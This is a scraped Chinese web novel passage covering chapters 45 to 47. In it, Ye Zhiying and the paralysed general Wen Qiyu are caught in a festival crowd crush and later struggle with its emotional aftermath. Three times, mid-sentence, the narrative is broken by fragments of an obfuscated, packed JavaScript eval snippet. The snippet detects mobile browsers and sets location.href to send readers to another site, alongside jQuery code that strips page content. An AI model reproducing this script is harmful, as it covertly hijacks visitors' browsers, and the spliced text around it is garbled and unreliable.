偶尔一个人时,她也会想,演员到底是靠什么来获得观众的喜爱?说到底,还是演绎出深入人心的作品,塑造出精彩绝伦的人物吧。可不知不觉中,戏外的生活也被她当成了一场戏。在这场戏中,她战战兢兢,不敢懈怠,甚至演得比戏里还要认真投入。每每想到这里,她就会陷入深深地纠结,自己是否已经误入歧途、本末倒置? “夜莺,你怎么了?”关若飞用一只筷子戳了戳她的胳膊,把正在神游的她叫了回来。 “噢……”她随便夹了一口菜,就想到了一个理由,“刚才逛街太投入,这会儿有点累了。” 上一世,所有人都告诉她,为了名利,她必须伪装做人。而这一世,温其玉却告诉她,无论何时,都可放心大胆地做自己。 直到这一刻,她才意识到,自己确实已经很久没有戴着面具做人了,在温其玉面前,她可以本能的生气、本能的开心,甚至本能的撒娇,身体里那些本不属于她的零件早已留在了上一世,没有了那些拖累,如今的她一身轻松。 “这就累了?我还打算下午带你好好逛逛黎城呢!”他有些失望。 “逛啊!我又没说不逛!”她舀了满满一勺米饭,大口吃了起来。 说是五个人一起出来,坐在桌上吃饭的就只有他们俩。阿力在喂温其玉吃饭,阿卓却不知道去哪儿了。 “你那个助理怎么不见了?”她有一搭没一搭地跟关若飞说着话。 “助理?”他没听懂。 “阿卓,你的属下。” “这餐桌上只有我们俩吃饭,无旁人打扰,不是正好吗?”他又开始嘴欠。 “胡说什么呢?刚才还没痒够吗?”说话间,她的目光已经挪到了他的腰侧。 他上半身明显缩了一下,嘴上却还要逞强:“我方才那是让你!” “我看你这是好了伤疤忘了疼,得定期修理才能老实!”她伸出手,就要往他腰上去。 他脸色一变,慌忙捂着腰说:“不敢不敢!我错了!女侠手下留情!” “以后管住嘴,别胡说八道了!”虽然关若飞人品不差,但她是真的不喜欢他的胡言乱语。 就在这时,阿卓回来了,手里还拿着一些包扎用的东西和一贴药膏。 “你拿这些做什么?”关若飞不解地问道。 阿卓往套间看了一眼,道:“衙内,这是温少爷刚才交代属下去药铺里配的药,给叶小姐用的。” “给我?”叶之萤吃了一惊,“我……我怎么了?” 她看着阿卓手里的药,一时之间竟没反应过来。 “你的手……”阿卓提醒她。 她这才反应过来,举起手指看了看,发现无名指比刚才更肿了,破皮的地方也积了一条挺粗的血痕。 原来温其玉早就注意到了,亏她还一直以为自己瞒得很好,连跟他说话都不忘藏起左手,真是瞎忙一场! 她起身走到套间门口,对里面的人道了声谢。 里面的人声音听上去有些疲惫:“原本就是我的不对,弥补过失罢了,无须言谢。让阿力为你包扎,可好?” 他不忘询问她的意见,这个人的教养总是体现在人最不在意的地方。 叶之萤点头道:“好!不过要先吃饭,吃完饭再包扎!”看他似乎还想坚持立刻包扎,又道,“伤口不深,不差这一会儿!” 饭后,阿卓背着温其玉先下楼收拾,关若飞同行保护,阿力则在包厢为她包扎伤口。正如温其玉所言,阿力确实包扎得很好,整齐、干净,是能治好强迫症的程度,好到叶之萤忍不住交口称赞:“你这手艺太棒了啊!” 没想到阿力却谦虚地摇头:“我这全是跟少爷学的,只学到了皮毛而已,少爷从前包得才好呢。” 阿力看了眼门外,看到那三人正背对着他们艰难下楼,这才放心压低声音继续道:“以前营里的伤兵,但凡大将军有时间,都是由大将军亲手包扎伤口,药膏是大将军的独家配方,那些伤在他手中,不仅好得快,而且不留疤。” “大将军?就是你家少爷?”阿力在讲述军营生活时,对自家少爷连称呼都变了。 “嗯!” “他还亲自给伤兵处理伤口?没有军医吗?”叶之萤吃了一惊。 阿力笑道:“我从前和你一样,也想不明白。大将军每日光军机要务就要处理到很晚,这种小事明明有军医在,何必还要自己操劳?更何况军营里都是些大老爷们儿,在战场上连命都顾不上,还在乎那些疤做什么?可大将军却说,虽然上了战场人人就得豁出性命去拼,但那些士兵们同时也是儿子、是丈夫、是父亲,在远方的家乡,也有牵挂他们的家人在为他们的平安祈祷。他作为将领,大家信任他,跟着他出征打仗,把命都交给他,他便有责任替那些远方的父母妻儿照顾好他们牵挂的家人。” 虽然叶之萤早已对温其玉的人品有了深入的了解,但当听到阿力这番话后,内心还是被深深触动了。 这些日子,关于那个少年将军的故事不断地碎片化地向她扑来,她将这些碎片拼凑起来,那个原本抽象的符号便在她心中慢慢具象化。 她走近了一个与她本无交集的人,那人对此并不知情。 她安静地站在他身旁,看他银鞍白马、意气风发;看他身着铠甲、手握长枪;看他点着油灯、手拿草药。她原本并不认识他,也没有机会再认识他,可奇怪的是,明明是一个已经逝去的人,如今却离她越来越近、越来越近,他来到了她的面前,渐渐走进她的心里…… 待二人下到一楼时,温其玉已经重新坐回了轮椅,阿卓已为他绑上了束带,那么高大的一个人,瘫坐在轮椅上一动不动,身体软趴趴靠着椅背,双手被摆放在两腿中间,手指无力,蜷缩在一起,两条腿藏在长袍下,消瘦得几乎找不到它们存在的痕迹,唯有衣摆处露出的两只一尘不染的鞋还向大家证明双腿的存在。 她实在没法不为这样的他难过。 突然,有人打断了她的思绪:“这位姑娘,在下松州玉泉山杨氏——杨宗明,今日能在此处与姑娘相遇,实乃三生有幸。我看姑娘弱骨纤形,娴静温婉,气质如兰,必不是出自一般门第。只是方才看姑娘上楼去,不敢叨扰姑娘歇息,便在此静候姑娘下楼来。敢问姑娘哪里人士?在下可否有幸与姑娘相识?” 叶之萤这才发现轮椅旁边还站着一个人,比她高半头,目测有一米八二、八三的样子,身材精壮,瘦而不柴,长相很是秀气,他身穿深蓝色长袍,头戴玉冠,正躬着身子向她作揖,倒是很客气恭敬的样子。 只是……松州玉泉山杨氏?这是什么自我介绍的方式?在叶之萤看来,如此自报家门,不过是想用身世为自己脸上贴金罢了。还有,说她弱骨纤形又是什么夸人的话? “你谁呀?”不等叶之萤开口,关若飞就一手挡在她身前,眼神充满了敌意。 “我不知道什么牛氏、羊氏,或者猪氏、狗氏的,”叶之萤轻轻推开了关若飞的手,又笑着对那位姓杨的道,“还有,你出身或许不错,但是看人的眼光实在不好,我骨架不柔弱,气质也不如兰,跟娴静温婉更是不沾边,既不是名门望族,也不是大家闺秀,恐怕没资格与公子相识!区区贱名就不污公子的耳了,告辞!” 说完,便对他做了一个“请”的手势。 那位杨公子竟然不羞不恼,也不知是强撑着还是确实心胸宽阔,反倒饶有兴致地打量起她来。 “请吧!”见他不走,关若飞又一次下了逐客令。 他却站在原地一动不动,真是相当执着。 既然他不想走,那就继续站着吧! 叶之萤实在懒得理他,径直往门口走去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991668|193740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其余人也跟上来。 “夜莺,你可真损,一点面子都不给人家留!”关若飞一副嫌弃样,又撇着嘴去问温其玉,“兄长,她平日里与你说话不会也是如此吧?” 温其玉被关若飞问得很是尴尬,他偷看了眼叶之萤,一副心虚的样子。 往事不堪回首,叶之萤赶紧转移话题:“瞎说什么呢?那么庸俗肤浅的人哪能和你兄长相提并论!” 听完这话,温其玉脸上瞬间有些不自在。 “那倒也是!对了夜莺,兄长说他要先回去了。”关若飞轻轻拍了拍温其玉的肩膀。 “噢。”她毫无波澜地应付了一声,语气却难掩失落。 温其玉低着头,并未看她。 关若飞没有觉察到有什么不对,继续道:“听小二说未正一刻集市上有社火表演,这已经未初三刻了,时辰刚刚好,我们去看吧?” 说话间,关若飞渴望的眼神已经先于身体飞到了门外。 叶之萤也被勾起了极大的兴趣,“社火”这种表演,她从前只在电视里看过,还从来没有现场感受过。 关若飞看出了她的兴致,拉起她的袖子就把她往门外拽,叶之萤没有准备,被他拽得一个踉跄,一边跟着他跑一边把他往回拽:“你慢点儿!慢点儿啊!别扯我衣服!” “快点儿!快点儿!晚了就占不到好位置了!”这人只顾急急忙忙往外赶,完全没听见她说什么。 叶之萤使劲一扽胳膊,终于挣脱了关若飞的拽扯,回身看温其玉,他还待在原地,并没有跟上来,或者应该说……阿力还站在原地,并没有推着他跟上她。 “你……你……要不要一起?”她终于鼓起勇气开了口。 虽然刚刚他已经说了要先走,但她还是想再问一次,她满怀期待,又怕被他无情拒绝,只好不自信地低下头去,心里却祈祷着他千万千万不要拒绝。 可是,没有拒绝,也没有同意。她有些困惑抬眼偷偷向他望去,才发现此刻他脸上的表情十分精彩。 他似乎正在挣扎要不要答应,眼神一碰上她就心虚地闪躲到一边。叶之萤一惊,他眼睛里方才闪现的情绪,莫不是……气愤? 原来他生气了?这倒是把叶之萤给整笑了。虽然她不知道他在气什么,但不管怎样,他并没有开口拒绝。 于是她直接走到他身后,推着他就往门外走。 “走吧,去晚了就没有好位置了!”她也学着关若飞的语气。 阿力却又追了上来,跟她抢着推轮椅:“叶小姐,少爷说他累了,要我先送他回去。” 叶之萤一把挡住了那只伸来的手,反问他:“他说了吗?没有吧,我怎么没听见?” “少爷方才在楼上说……”阿力急着解释。 “刚刚是刚刚,现在是现在,他现在也没说不去啊!”说完,还不忘偷瞥了一眼轮椅上的温其玉,祈祷他千万不要突然开口拆自己的台。 还好,他很配合。 “可是少爷的身体……” “别可是了,少爷本人就在这儿呢,你就别当发言人了!” 阿力被怼得一个字也说不出来了。 此时,脚下的门槛却挡住了轮椅的去路,叶之萤绕到温其玉面前半蹲着,伸手就要去抬轮椅。 “别动,让阿力来!”这是他自下楼后说的第一句话。 叶之萤没理他,两手抓住轮椅两边扶手,核心一使劲,就将他连人带椅抬了起来,然后,她让轮子挨着门槛,从上面缓缓滚下来,最终平稳落地。一切都很完美,除了…… 温其玉的头此时已经趴在了她的肩上,就像靠在她怀里一样。 她将他身体重新摆好靠在靠背上,他低着头不敢看她,耳朵却已经红得像被火烧着了。 二人相处的这段时间,温其玉给叶之萤的印象一直都是温柔、成熟的,但今天的他,却似乎一直憋着一股气,实在难得一见。 这一路上,他似乎一直在跟一股说不清道不明的东西较劲儿,很难说具体是从哪一刻开始,或许是听到街上路人的闲言碎语的那一刻?或许是身体压破她手指的那一刻?亦或者是在众目睽睽之下被人背着上楼那一刻?或是在楼梯上被她嫌弃的那一刻?骄傲如他,今天的这一切,对他而言又怎么不是一场残酷的凌迟呢? 如果真是这样的话,那自己岂不是这场酷刑的始作俑者? 霎时间,叶之萤的脑中电闪雷鸣,一片混乱! “怎么了?”眼前之人已察敏锐觉了她的异样。 “你……如果真的身体不舒服,我就不勉强你了,要不让阿力送你回去吧?”她心里已被内疚填满。 温其玉听到她的话明显怔了几秒,而后笑着开口:“傻姑娘,过度自省可不是好事!” “嗯?”这下轮到她愣住了。 他并没有给她消化这句话的时间,反倒学起她的口吻:“快走吧,晚了就没有好位置了!” 46. 命悬一线 等到了表演的地方,关若飞和阿卓已经早早占好了位置,在第一排,视野极其开阔,叶之萤将温其玉的轮椅摆好位置,笑着夸奖二人:“厉害!这可是VIP席!” “什么什么席?”关若飞一脸困惑。 “贵宾席,视野最好的位置!” 话音刚落,远处就响起一阵巨大的鼓声,还不等人反应过来,一阵锣声也紧随其后,原本闲聊的围观百姓人们听到这声音全都激动地呼喊起来,小小孩纷纷被父母架在脖子上,大小孩都激动得在人群中又跑又跳,一瞬间气氛就燃了起来。 那锣鼓声好像是从一条巷子里传出来的,然后越来越近、越来越近…… 不一会儿,远处的巷子里就走出了一排排穿着鲜艳的表演者,他们有的手中拿着锣、唢呐,有的胸前挂着鼓,一边奏乐一边跳舞。看到有人出现,人群中的呼喊声又升入了一个新的高潮。 紧接着,巷子里又走出了几个高人,对,就是高人。他们全都至少三米以上,穿着长袍,披着彩带,再仔细一看,竟然都是小孩子的长相。叶之萤自然知道这其中的原理,但她还是佩服这些人的高超技艺,跟着大家拍手大叫起来。 而这些孩子的出场也将现场的气氛烘托到了最高潮。大家激动地叫着、跳着、拥挤着,周围的叫声震耳欲聋,叶之萤觉得耳膜要是再这么震下去恐怕就要破了,便用手将耳朵捂了起来。 原本她站在第一排,周围并没有那么拥挤,可不知道什么时候开始陆续有人挤到了她前面,现下她已经不知道被人流挤到了哪里,四面八方都是人,前胸后背都忍受着人流剧烈地撞击,东倒西歪如不倒翁。关若飞早就已经不知道被人流挤到哪里去了,阿卓更是没了人影,还有阿力…… 糟糕!温其玉呢?! 刚才是她在推轮椅,阿力见温其玉有她陪着,就放心和阿卓去了别的地方。可她这才发现,温其玉早就已经不在自己身边了! 她一下子就懵了,视线迅速穿越重重人群去寻找那架轮椅,一边找他的身影一边大喊他的名字。可喊出来的声音完全被锣鼓声和欢呼声淹没,别说其他人了,连她自己都听不见! 她只好从面前一堵堵人墙中用双手撕扯出一个又一个口子,再硬钻进这些口子里一层层找他,钻了五六层,浑身的骨头都快要被人墙挤碎,回头一看,才挪了不到一米。她被人群撞得东倒西歪,连保持最起码的平衡都很难做到,但是也不会倒下,因为整个人都被死死地嵌在人群之间,根本没有多余的空间往下倒。 温其玉到底在哪儿?万一轮椅被人挤倒,他摔在地上,这么多人走来走去,这么多双脚,如果踩在他身上…… 她不敢再往下想,只带着哭腔大喊他的名字,继续疯了一般在人流中扒出狭窄的通道,像斗牛似的拼命往前冲。来来往往的人有的被她疯狂的样子吓到,有的像看怪物似的看着她,有的则嘟囔着嫌她弄疼了自己,但是她已经顾不了这些,耳边的巨大喧嚣已模糊不清,她脑子里只有一件事,就是找到温其玉! “温其玉!温其玉!温其玉!”她歇斯底里地吼叫着,却始终得不到任何回应,终于崩溃大哭,一边哭,一边叫,脱了力的身躯已撕不开任何一堵人墙。 突然,前面几个人的腿之间似乎有像木头的东西进入她的视野! 那是温其玉轮椅的颜色! 身体里的力量重新充盈,她疯了似的扒开眼前那两人,从他们之间挤到了温其玉面前。 没错,是他!二人相隔只有一米远,中间只隔了两个人。他坐在吵闹疯狂的人群之间——如果那样的姿势还能称为“坐”的话——眉头紧锁,双唇紧闭,无奈地接受着这如潮水般的拥挤。 他整个上半身以腰上那根束带为线向下折叠着,身子弓得像一只虾。整个上半身都无力地靠在右侧的扶手上,若不是有扶手撑着,恐怕此刻他早就翻下轮椅了。 他的臀部已经滑到了座位的边缘,整个人在轮椅上摇摇欲坠,全靠腰上那根束带兜住才没掉下去。 他的身边有一个男人正抱着自己的孩子,那孩子的双脚从他头顶垂下来,满是污泥的布鞋在他头上脸上踢来蹭去。 轮椅被周围人撞得左摇右晃,他的身体也跟着轮椅摇晃,原本踩在踏板上的双脚早就被人从踏板上撞到了地上,两只干净的、毫无磨损的鞋,此时亦沾满了灰色的脚印,可真是狼狈至极。 “温其玉!”她激动地朝他大喊,声波穿过人群传进了他的耳朵。 他本已麻木低垂的双眸瞬间睁大抬起,惊喜地朝她看过来,但只两秒钟,惊喜便被惊恐淹没:“当心身后!快过来!过来!” 叶之萤还没反应过来他说的是什么,就被身后的什么东西重重压倒,摔在了温其玉面前。 现在,她整个人趴在地上,周围全是大大小小的脚,有的站在原地,有的则贴着她的发丝来回走动,不知谁手中的蔷薇花环也摔到了温其玉脚下,深深浅浅的粉色散落一地,又随着众人慌张的脚步飘扬飞舞…… “快起来!”温其玉吓得朝她大吼。 她却实在起不来。因为在她的身体上面,还压了一个人,而那个人的身体上,也压了一个人…… 她艰难地回头望了一眼,身后摔倒了一大片。 自己竟然遭遇了踩踏事件! 幸运的是,她被压得不深,只要有人拉她一把,就能把她从那人身下拔出来。但不幸的是,周围人显然是被这突如其来的危险吓住了,都开始慌张地往四周跑开,根本没人来帮她。她耳边的脚步越来越乱,有人甚至踩到了她的胳膊,吓得她顾不得胳膊上的疼,赶紧抱住了头。 “别怕!别怕!”温其玉嘴上说着让她别急怕,自己却已经慌得声音颤抖。 他的脸距离叶之萤不过半米,将她脸上的害怕和惊慌失措看得一清二楚。明明只要一伸手就能拉她出来,可他偏偏一动也动不了,他的上身还趴在那两条孱弱的腿上,麻木的双手垂在两腿外侧,随着轮椅的晃动不受控地晃动着,假若无人帮忙,他便要永远这么趴下去,趴到死也坐不起来! “这位兄台,能否麻烦您把这位姑娘扶起来?” “先别走!能否帮忙把这位姑娘扶起来?” “有人能扶这位姑娘起来吗?求求你们救救她!” “别踩到她!别踩到她!” 他的声音越来越抖,趴在那里仰着头,一边声嘶力竭地哀求身边人,一边崩溃地看着他们的脚踩在叶之萤身上。 眼看这情况是指望不上有人来救了,叶之萤只能尝试自救。她用指甲使劲抠着地面,使出吃奶的力气想把身体从那人身下一点一点往出拽。可是她满脸涨红,连指甲都抠断了几根,却连腰都还没拽出来。 不断有人踩过她的手背、胳膊、后背,将不断挣扎着起身的她一次又一次地踩倒,有的脚印轻,有的脚印重,有的脚印大,有的脚印小,不多久,她就被踩得发了懵,只觉得身体所有被踩过的地方都麻麻的、热热的,却感觉不到疼。温其玉在她面前撕心裂肺地喊着什么,她已经听不见了,眼前的一切越来越不真实,自己明明是参与者,却像个旁观者一样平静…… 难道第二次生命这么快就要结束? 每一次的离开都要这么悲壮吗?她竟然有点像发笑。 还会有第三次吗? 第三次又会去哪儿?会遇到谁呢?还会遇到像温其玉这样温柔的人吗? 她使出全部的力气抬头,想最后再看温其玉一眼,发现他通红的眼里满是无措和绝望。 她伸出那只已经被踩得发烫的胳膊,颤颤巍巍拉住他垂在腿边的卷曲手指,笑着安慰他:“别为我难过,别自责,好好活下去!” 说完便松开手,趴在地上放弃了挣扎,一滴眼泪从眼角滑落到鼻梁。 等待死亡的过程比她想象中平静很多,时间好像停止在了那一刻,周围嘈杂的一切都登时安静了下来。 不知过了多久,突然有个男人拢住她的腋下,像拔萝卜似的往外拽她。他的力气很大,只拽了几下就把她完全拽了出来,又迅速将她抱出了人群。她只觉身体一下子轻松,大脑也瞬间清醒,有人救了她!她刚想道谢,却发现那人已不见了踪影。 可是温其玉还没出来啊!她强撑着身体站了起来,晃晃悠悠想要再冲进人群找他,却看见一个布衣男子正推着他从人群中出来。她仔细一看,这不就是刚刚救了自己的那位恩公吗?

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991669|193740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 叶之萤懵着头,迎上前去向那人道了谢,晕晕乎乎地接过轮椅,强撑着整理好温其玉的坐姿,将他的双腿重新放回踏板上,推着他远离了混乱的人群,到了远处安全的地方。 刚找了片空地坐下来,刚刚救他们的那人也跟着来了。 她忙上前感谢对方的救命之恩:“这位大哥,刚刚多亏您出手相救,要不是您,我们今天……救命之恩无以为报,我这儿有些银子,请您一定要收下,千万千万别推辞!” 她打开刚刚在集市上买的荷包,将里面的所有银子全都给了那人。 那人却朝她摆了摆手,她正想开口劝他不要推辞,却见他直接去卸温其玉腰上挂着的一枚玉环。 “您这是?”这虽然救了人,也不能上手抢别人身上的东西吧? 。 叶之萤刚想上前询问情况,却被温其玉打断了:“是我让他拿的。” 他的眉宇间还笼罩着没有散去的惊慌和痛苦。 “姑娘,我方才本来已经跑开了,是这位公子哀求我,说若是救了姑娘,便将身上这块羊脂白玉璧赠与我,我这才冒着危险救了你们二位。”说话间,那人便卸走了那个玉环。 “可是,这位大哥,您救的是我,自然应该是我来感谢您,您还是收下我的银子吧!”她试图将自己的银子塞到那人手里。 那人躲开了她的手,转而笑着将那枚玉环小心翼翼地揣进怀里,确定放好了,才又开口道:“姑娘的感谢在下心领了,姑娘仪表不凡,身份尊贵,自然只有这顶级的白玉才配得上姑娘的性命。” 说完,他转而向温其玉行了个礼:“多谢公子!”便离开了。 “这……”不管怎么说,自己的命是那人救的,叶之萤实在不知道该怎么说了。 温其玉的目光正落在远处那一堆混乱的人群中,叶之萤的目光也随着他往那边看去。不知道刚才摔倒的那些人怎么样了?有没有得救?那些像无头苍蝇似的人们已经开始有了秩序,叫喊声也没有刚才那般撕心裂肺,局面应该是控制住了,她也跟着长舒了一口气。 “看样子是有人在维持秩序了,应该没事了,别担心!”她安慰他。 他终于放心地将目光收回来,又落在了她的身上。 “你这玉佩多少钱啊?我以后攒够了钱还你!”叶之萤蹲下在他面前,为难地看着他,想必又是个天文数字。 温其玉并没有回答她的话,只是紧张地将她的身体从头到脚打量一遍:“可有哪里难受?” 眉宇间尽是担心和自责。 “胳膊被踩得有点疼,腰和腿也被压得有点疼,还有手指头。”她把手摊开在他面前,如今这双手已经完全变成了灰黄色,手掌的皮肤因为和地面的过度摩擦而掉了皮,泥土也镶嵌在断裂的指甲中。 “不过都不严重,皮外伤而已,几天就好了,幸亏头没被踩到,已经很幸运了!” “不要大意,现在按我说的做,我为你检查身体。”说完,他便指挥着她分区域将身体的关节全部活动了一遍,确定骨头没有受伤,才松了口气。 叶之萤摸了摸脖子上那颗依然安全的脑袋,竟然有种劫后余生的兴奋,笑着对他说:“我还以为我又要走了,刚刚趴在那里我在想,如果还有第三次生命,不知道又会去哪里?温其玉,我刚刚有点舍不得你!” 他盯着她脸上的笑,眼睛渐渐被一层水雾覆盖,睫毛被雾气染得油亮,变成一簇一簇的,不免让人心生怜悯。 “别这样,不要自责。”她本想摸摸他的头,却因为手太脏而作罢,改为用胳膊碰了碰他的腿。 “对不起!”眼前的人声音异常哽咽,嘴唇和脸颊的肌肉都在微微抖动着。 “温其玉,这是个意外!不是你的错,你不准自责!而且,是你找人救的我啊!应该是我谢你才对!”叶之萤说完,便在衣袖上找了块干净的地方,为他擦掉了睫毛上的水渍。他的头一颤,而后便闭上眼睛不再挣扎。 她的劝说显然没起任何作用,眼前的人眉眼紧皱,连双唇都在不停颤抖,痛苦爬满了他的脸,让叶之萤好生心疼,她想安慰他,却再也找不到合适的话术。二人谁也没有再开口,直到关若飞他们寻来。 47. 明珠蒙尘 “夜莺,你……你这是……”关若飞被叶之萤浑身脏兮兮的狼狈的样子吓到了,伸着头上下打量她。 而与此同时,温其玉脸上也闪过一丝慌乱,他低下头,极力避免和关若飞的眼神接触。 “只是不小心摔了一跤,没事没事!”叶之萤试图搪塞过去。 “你的鞋呢?”关若飞又指着她的脚问,“还有,你的衣服怎么这么脏?你该不会是……” 关若飞看她这副模样,紧张地望了一眼刚刚的事发地,心里仿佛已经有了答案。 叶之萤低头一看,这才发现鞋丢了,肯定是刚才压在那人身下了。 “害,别提了,鞋被人踩掉了,我本来是要捡的,结果人太多,一下子就把我撞倒在地上,鞋被人踢走了不说,衣服也摔脏了。只好先光着脚跑出来再说,鞋子待会儿再去买一双吧。对了,你们怎么才过来啊?”她浅浅编了个谎话,避重就轻说了两句,赶紧转移了话题,与此同时,也将两只惨不忍睹的手背在了身后。 关若飞实在单纯得很,就这样轻易信了她的话。 一旁的阿力道:“我们看到那边摔倒了好多人,人摞人的,哀嚎不止!关衙内就带着我们把周围的百姓都先疏散了,防止二次踩踏伤害。后来发现万幸你们没在里面,也就放心了,干脆把那些人挨个扶起来,这才继续过来寻你们。” 没想到这个关若飞,平时一副吊儿郎当、纨绔子弟的样子,遇到危险时竟也有着如此气魄,叶之萤不免对他刮目相看。再看另一个人…… 叶之萤慌忙把脑中即将涌出的那个想法按了下去,并在心里提醒自己不该做这样的对比。 “夜莺,我方才救人了!”关若飞见她竟然对自己的英勇行为没有半分表示,又主动凑过来求表扬。 叶之萤此时心里有些不是滋味,她知道自己不该比的,她也明白“尺有所短,寸有所长”的道理,可是她控制不了,实在控制不了!那些相反的画面、还有那些互为反义的形容词,在她的脑中不断穿插着挑出来,她怎么也按不下去。 “你……很厉害。”她硬从牙缝里挤出了这几个字,说完,怕被某人看出自己的异样,便先一步逃走了。 关若飞果然得意得不行,又缠上了一旁的温其玉:“兄长,夜莺她可终于发现我好了!你看,夸完我还害羞了呢!”说完后,又屁颠屁颠地跑到叶之萤身边献殷勤,“夜莺,地上硌脚,你没穿鞋,不如我背你吧?” “不要!”叶之萤脱口而出拒绝了他。 而此时,轮椅上的温其玉早已羞愧难当,恨不得钻进地缝里去了…… 叶之萤新买了一双鞋换上,路过一个卖手串的摊位时,她停了下来,挑了很久,最终只买了几根红绳。 温其玉再也没有说一句话,他默默地垂着眼,谁也不理、谁也不看,大家都只当他是身体支撑不住了,只有叶之萤明白此刻的他心里有多苦。 回温宅后,大伙各自回房沐浴更衣。 叶之萤泡在温热的浴桶中,身体上被剧烈挤压造成的疼痛和心理上被过度惊吓导致的恐惧全在热水中蔓延开来。 肌肉的疼痛刺激着大脑,她脑子里再一次浮现出自己被压在人群中无法自救的样子,温其玉就在她面前,离她那么近,近到只要伸出手来就能拉她出来。 可他偏偏伸不出手!他什么也做不了,只能窝在轮椅里,眼睁睁看她趴在地上被众人踩踏…… 接着,那蜷缩无力的双手、畸形孱弱的双腿,以及毫无生气的躯体又接二连三在她眼前出现,她吓得慌忙闭上眼睛,却无法关闭那些画面,它们在她的眼前愈加清晰,清晰得令她胆战心惊……他被人抱起来喂饭的样子、他的头磕在床沿却无能为力起不来的样子,甚至,他失禁的样子! 诚然,她从前确实被那副残破的身躯震惊过、生气过,也心疼过,但却从来没有哪一刻如现在这般抗拒过。 或许是泡在浴桶里太闷了的缘故,她有些难以呼吸,于是扶着浴桶边缘站起来,这才发现,本该在手腕上戴着的那条温其玉今早特意为她准备的五彩绳已经不见了,而他为她准备的那枚香囊更是在踩踏时就被踩得稀巴烂。 看来一切都是天意。既然如此,她劝自己,不要再逆天而行。 从浴桶中出来,满身的疼痛和恐惧全都消散在了那一桶即将被倒掉的水中,她换上另一套新衣,擦干了头发,修剪了断掉的指甲,看起来容光焕发,完全不见刚才被压在地上不得起身的狼狈模样。 她将脏衣服收了起来,从衣服中掉出了几条红绳,是在回来的路上买的。刚刚看到这红绳时,她第一反应就是想给他编一条手绳,可如今再看着手中那抹鲜艳的红色,真是怎么看怎么刺眼。她把它们团成一团,胡乱收进梳妆台上那个紫檀木盒子里。 “厨房在做什么?好香啊!”再次跨进温其玉的房门时,她夸张地跟他打了个招呼,努力演出一切如常的样子。 温其玉正躺在床上,头发上的银冠已经取掉,衣服也换成了柔软的布料,那月白色的布料光泽感极强,细看纹路还闪着点点银光,金色的夕阳洒在上面,又让那闪光染上了些柔和的金色。但饶是如此华丽的布料,也掩盖不住他脸上的阴霾。 “方才回房检查过了吗?还有没有哪里受伤?”他一看到她,就又提起了那件事,虽说是对她的关切,却令叶之萤瞬间心乱。 那件事就如同一滴腥臭碍眼的墨汁,污染了叶之萤心里那幅被她供在心尖上、澄净清明的神像,如今神像已不再完美,亦不配再被供奉至神坛之上。 她本想装做无事发生的,但实在是硬着头皮也演不下去了,下意识向后退了两步,轻描淡写道:“就是被压得有点儿疼,泡完澡已经好多了,没有大碍。” 他看着她退后的双脚,原本就黯淡的眼睛彻底没了光,小心翼翼地询问她:“我命阿力去请了林大夫,已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991670|193740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经到了,不如现在请他过来为你检查一下?” “嗯……”她原本觉得没必要,但一听林大夫已经到了,便不好再推辞,“好吧,那谢谢了!” 听她的语气如此客气和生疏,他眉心一皱,一抹讥笑挂上了他的嘴角。 经林大夫检查,叶之萤的身体没有大碍。二人都不约而同地松了一口气。 林大夫走后,阿力去安排家宴的菜肴,屋里又剩下他们二人大眼对小眼。 叶之萤忍不住去看床上的人,他似乎很紧张,始终低着头,眼睛不敢光明正大看她,却时不时偷偷斜睨她的脸,仿佛一只做错了事的小狗因为怕被惩罚而小心翼翼偷看主人的脸色。 只这一下,她便又在心里不争气地对他泛起了同情,于是强行打起精神找了个话题:“这衣服,你穿着很好看!” 本想主动打破这屋子里折磨人的寂静,却不想还是说错了话。 “是吗?”他的目光中隐隐透出愤恨之意,脸上却又诡异地笑了起来,这样阴诡的表情出现在他脸上,着实吓了她一跳。 叶之萤本想说点什么来安慰他,可眼下她自己也同样需要安慰,很多种情绪同时袭来,她终是没有开口,房间里又是一片长久的寂静。 “夜莺,你看这是什么?”关若飞的声音像银铃一样动人地飘进了屋子,同时救了这屋子里的两个人。 叶之萤看到关若飞手里拿着一个布条,布条中间绣着老虎的花纹,走到她面前晃了晃。 “这是什么?”她没有接,只是指着它问道,这东西看起来甚是眼熟,好像在哪里见过。 “今日是端午,这虎头护臂里放着各种草药,不仅能防蚊虫鼠蚁,还可驱邪避灾,快戴上!”说着,他就往她胳膊上戴了起来。 她这才反应过来,这不就是今天在路上看到好多小朋友手臂上都戴的老虎头吗? “关若飞你逗我呢?这玩意儿是给小孩子戴的!”她收回手臂,拒绝戴这玩意,冲他翻了个白眼。 他哈哈大笑起来:“你连一锭银子、一文铜钱是多少都不知道,可不就是小孩子嘛!” 倒是有理有据。 